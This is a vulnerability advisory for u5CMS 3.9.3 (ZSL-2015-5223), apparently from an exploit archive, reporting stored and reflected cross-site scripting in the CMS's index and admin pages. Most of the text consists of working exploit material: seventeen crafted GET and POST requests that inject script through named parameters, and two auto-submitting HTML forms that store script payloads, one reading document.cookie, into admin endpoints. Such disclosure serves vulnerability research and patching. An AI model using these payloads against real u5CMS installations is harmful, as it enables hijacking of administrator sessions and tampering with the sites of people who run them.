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u5CMS 3.9.3 Cross Site Scripting

u5CMS 3.9.3 Cross Site Scripting
Posted Feb 9, 2015
Authored by LiquidWorm | Site zeroscience.mk

u5CMS version 3.9.3 suffers from multiple stored and reflective cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss
MD5 | 2ede30d6067d2236d1a7e8b32cb1fdf1

u5CMS 3.9.3 Cross Site Scripting

Change Mirror Download

u5CMS 3.9.3 Multiple Stored And Reflected XSS Vulnerabilities


Vendor: Stefan P. Minder
Product web page: http://www.yuba.ch
Affected version: 3.9.3 and 3.9.2

Summary: u5CMS is a little, handy Content Management System for medium-sized
websites, conference / congress / submission administration, review processes,
personalized serial mails, PayPal payments and online surveys based on PHP and
MySQL and Apache.

Desc: u5CMS suffers from multiple stored and reflected cross-site scripting
vulnerabilities. Input passed to several POST and GET parameters is not properly
sanitised before being returned to the user. This can be exploited to execute
arbitrary HTML and script code in a user's browser session in context of an
affected site.

Tested on: Apache 2.4.10 (Win32)
PHP 5.6.3
MySQL 5.6.21


Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience


Advisory ID: ZSL-2015-5223
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5223.php


29.12.2014

---


Reflected XSS:
==============

GET /u5cms/index.php?c=start"><script>alert(1)</script>&l=e&p=1&r= HTTP/1.1
GET /u5cms/index.php?i=1"><script>alert(2)</script>&p=1&c=start&l=d HTTP/1.1
GET /u5cms/index.php?c=start&l=e"><script>alert(3)</script>&p=1&r= HTTP/1.1
GET /u5cms/index.php?c=start&l=e&p=1"><script>alert(4)</script>&r= HTTP/1.1
GET /u5cms/u5admin/cookie.php?a=i2_l%00%3balert(5)//&b=d HTTP/1.1
GET /u5cms/u5admin/cookie.php?a=i2_l&b=%3balert(6)// HTTP/1.1
GET /u5cms/u5admin/copy.php?name=album"><img%20src%3da%20onerror%3dalert(7)> HTTP/1.1
GET /u5cms/u5admin/delete.php?name=a"><img%20src%3da%20onerror%3dalert(8)> HTTP/1.1
GET /u5cms/u5admin/deletefile.php?typ=d&name=shortreference&f=../r/shortreference/shortreference_en.php.txt'%3balert(9)// HTTP/1.1
GET /u5cms/u5admin/deletefile.php?typ=d'%3balert(10)//&name=shortreference&f=../r/shortreference/shortreference_en.php.txt HTTP/1.1
GET /u5cms/u5admin/done.php?n=inserted%20test"><script>alert(11)</script> HTTP/1.1
GET /u5cms/u5admin/editor.php?c=c"><script>alert(12)</script> HTTP/1.1
POST /u5cms/u5admin/meta2.php?typ=a&uri=metai.php'%3balert(13)// HTTP/1.1
GET /u5cms/u5admin/notdone.php?n=wrong%20name,%20not%20deleted%20<script>alert(14)</script> HTTP/1.1
GET /u5cms/u5admin/rename2.php?name=valbum&newname=valbum'%3balert(15)//&typ=a HTTP/1.1
GET /u5cms/u5admin/sendfile.php?name=shortreference&l=_frd"><script>alert(16)</script>&typ=d HTTP/1.1
GET /u5cms/u5admin/characters.php?more=335&s=335"><script>alert(17)</script> HTTP/1.1


Stored XSS:
===========

<html>
<body>
<form action="http://10.0.50.3/u5cms/u5admin/savepage.php" method="POST">
<input type="hidden" name="page" value='ZSL"><script>alert(document.cookie);</script>' />
<input type="hidden" name="view" value="d" />
<input type="hidden" name="ishomepage" value="1" />
<input type="hidden" name="hidden" value="0" />
<input type="hidden" name="logins" value="" />
<input type="hidden" name="title_d" value="Test" />
<input type="hidden" name="desc_d" value="" />
<input type="hidden" name="key_d" value="" />
<input type="hidden" name="content_d" value="Tstz" />
<input type="hidden" name="title_e" value="ZSL" />
<input type="hidden" name="desc_e" value="llll" />
<input type="hidden" name="key_e" value="qqq" />
<input type="hidden" name="content_e" value="AllTheWay" />
<input type="hidden" name="title_f" value="None" />
<input type="hidden" name="desc_f" value="" />
<input type="hidden" name="key_f" value="" />
<input type="hidden" name="content_f" value="Aloha" />
<input type="hidden" name="coco" value="1423010603" />
<input type="submit" value="Submit form" />
</form>
</body>
</html>


--


<html>
<body>
<form action="http://10.0.50.3/u5cms/u5admin/new2.php?typ=e" method="POST">
<input type="hidden" name="name" value='"><img%20src%3da%20onerror%3dalert("XSS")>' />
<input type="hidden" name="typ" value="e" />
<input type="submit" value="Submit form" />
</form>
</body>
</html>
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